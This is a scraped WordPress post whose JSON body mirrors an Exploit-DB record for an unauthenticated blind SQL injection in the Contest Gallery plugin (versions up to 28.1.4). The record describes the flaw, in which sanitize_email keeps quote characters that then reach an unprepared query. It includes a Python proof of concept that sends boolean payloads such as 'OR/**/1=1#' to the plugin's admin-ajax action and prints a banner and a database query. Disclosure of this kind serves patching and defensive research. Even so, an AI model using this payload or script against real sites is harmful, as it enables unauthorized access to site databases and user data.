{“lastseen”:”2026-06-05T13:27:57″,”description”:”Exploit Title: WordPress Contest Gallery 28.1.4 – Unauthenticated Blind SQL Injection Google Dork: N\/A Date: 2026-06-02 Exploit Author: cardosource Vendor Homepage: https:\/\/contest-gallery.com\/ Software Link:…”,”published”:”2026-06-05T00:00:00″,”modified”:”2026-06-05T00:00:00″,”type”:”exploitdb”,”title”:”WordPress Contest Gallery 28.1.4 – Unauthenticated Blind SQL Injection”,”source”:””,”references”:””,”id”:”EDB-ID:52609″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”# Exploit Title: WordPress Contest Gallery 28.1.4 – Unauthenticated Blind SQL Injection\\r\\n# Google Dork: N\/A\\r\\n# Date: 2026-06-02\\r\\n# Exploit Author: cardosource\\r\\n# Vendor Homepage: https:\/\/contest-gallery.com\/\\r\\n# Software Link: https:\/\/wordpress.org\/plugins\/contest-gallery\/\\r\\n# Version: \\u003c= 28.1.4\\r\\n# Tested on: Docker – PHP 8.2\/Apache + MariaDB (WordPress Environment)\\r\\n# CVE: 2026-3180\\r\\n\\r\\n\\r\\n\\”\\”\\”\\r\\nDescription\\r\\n\\r\\nA Blind SQL Injection vulnerability exists in Contest Gallery versions 28.1.4 and earlier. The issue is caused by the unsafe use of the cgl_maili parameter, where sanitize_email() preserves the single quote (‘) character in the local part of an email address. As a result, user-controlled input reaches wpdb-\\u003eget_row() without proper parameterization via prepare(), allowing unauthenticated attackers to perform boolean-based blind SQL injection.\\r\\nAuthentication Required: No\\r\\n\\r\\n\\”\\”\\”\\r\\n\\r\\n\\r\\nimport requests\\r\\nimport json\\r\\n\\r\\nNONCE = \\” \\”\\r\\nURL = \\”http:\/\/localhost:8080\/wp-admin\/admin-ajax.php\\”\\r\\nendpoint = \\”\/wp-admin\/admin-ajax.php\\”\\r\\nurl = \\”http:\/\/localhost:8080\/\\”\\r\\npayload = \\”‘OR\/**\/1=1#@teste.com’ and ‘OR\/**\/1=2#@teste.com\\”\\r\\n\\r\\ndef send_payload(mail):\\r\\n data = {\\r\\n \\”action\\”: \\”post_cg1l_resend_unconfirmed_mail_frontend\\”,\\r\\n \\”cgl_mail\\”: mail,\\r\\n \\”cgl_page_id\\”: \\”1\\”,\\r\\n \\”cgl_activation_key\\”: \\”\\”,\\r\\n \\”cg_nonce\\”: NONCE,\\r\\n }\\r\\n return requests.post(URL, data=data)\\r\\n\\r\\nr_true = send_payload(\\”qualquer’OR\/**\/1=1#@teste.com\\”)\\r\\n\\r\\nif r_true.status_code == 200:\\r\\n status_code = r_true.status_code\\r\\n \\r\\n\\r\\nbanner = f\\”\\”\\”\\r\\nCVE : 2026-3180 | Contest Gallery 28.1.4 : Boolean SQLi\\r\\n\\r\\npayload :……………………{payload}\\r\\nend point :……………………{endpoint}\\r\\nurl :…………………………{url}\\r\\nstatus :………………………{status_code}\\r\\nnonce :……………………….{NONCE}\\r\\n\\”\\”\\”\\r\\n\\r\\nprint(banner)\\r\\nprint(f\\”Body length: {len(r_true.text)} chars\\”)\\r\\n\\r\\npoc =f”’\\\\nmariadb wordpress_db -e \\”\\r\\nSELECT * FROM wp_contest_gal1ery_create_user_entries \\r\\nORDER BY Tstamp DESC LIMIT 1115;\\””’\\r\\n\\r\\nprint(poc)”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52609″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52609″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-06-05T13:27:57″,”description”:”Exploit Title: WordPress Contest Gallery 28.1.4 – Unauthenticated Blind SQL Injection Google Dork: N\/A Date: 2026-06-02 Exploit Author: cardosource Vendor Homepage: https:\/\/contest-gallery.com\/ Software Link:…”,”published”:”2026-06-05T00:00:00″,”modified”:”2026-06-05T00:00:00″,”type”:”exploitdb”,”title”:”WordPress Contest…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,40,13,33,7,11,5],"class_list":["post-60077","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-exploitdb","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n